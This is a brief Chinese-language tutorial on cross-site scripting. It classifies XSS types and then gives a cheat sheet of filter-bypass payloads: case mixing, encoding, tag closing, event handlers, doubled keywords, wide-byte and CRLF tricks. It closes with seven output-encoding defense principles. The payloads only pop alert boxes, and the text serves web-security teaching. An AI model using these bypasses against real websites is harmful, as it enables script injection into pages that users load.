跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。
0x01 XSS的分类
- 反射型(非持久型)
- 存储型(持久型)
- DOM型
具体的一些介绍与简单的实例就不做详述了,本文主要介绍的是XSS的绕过技巧与防御。
0x02 XSS的绕过
大小写绕过
<ScRIpT>alert('123')</sCRIpT>
编码绕过
1.十六进制编码
2.jsfuck编码
3.url编码
4.unicode编码
<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">
'被过滤,我们可以将'写为 '
将"/"转义为"/"
绕过magic_quotes_gpc
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41, 59)</script>
闭合标签
"><script>alert(/123/)</script>
</script><script>alert(1)</script>
标签绕过
<img src="x" onerror="alert(1)">
<button onclick="javascript:alert('xss')>XSS</button">
<title><img a="</title><img/src=1 onerror=alert(1)//">
"onsubmit=javascript:alert(1)%20name="a
其他符号绕过
%0aalert(1); %0a 换行符
/**/ 替换空格
%00 截断
双字母绕过
<img ononerrorerror="123">
<script>alalertert(123)</script>
宽字节绕过
gbxxxx系列的编码,那么我们尝试一下宽字节 %c0 %bf %5c
其他事件绕过
onload
onclick
onerror
prompt
confirm
onmousemove
CRLF injection绕过
CRLF是”回车 + 换行”(\r\n)的简称。
http://www.xxx.com%0d%0a%0d%0a+xss代码
<svg/onload=prompt(1)>
0x03 XSS的防御
原则1:“Secure By Default”原则:不要往HTML页面中插入任何不可信数据
原则2:在将不可信数据插入到HTML标签之间时,对这些数据进行HTML Entity编码
原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
原则5:在将不可信数据插入到Style属性里时,对这些数据进行CSS编码
原则6:在将不可信数据插入到HTML URL里时,对这些数据进行URL编码
原则7:使用富文本时,使用XSS规则引擎进行编码过滤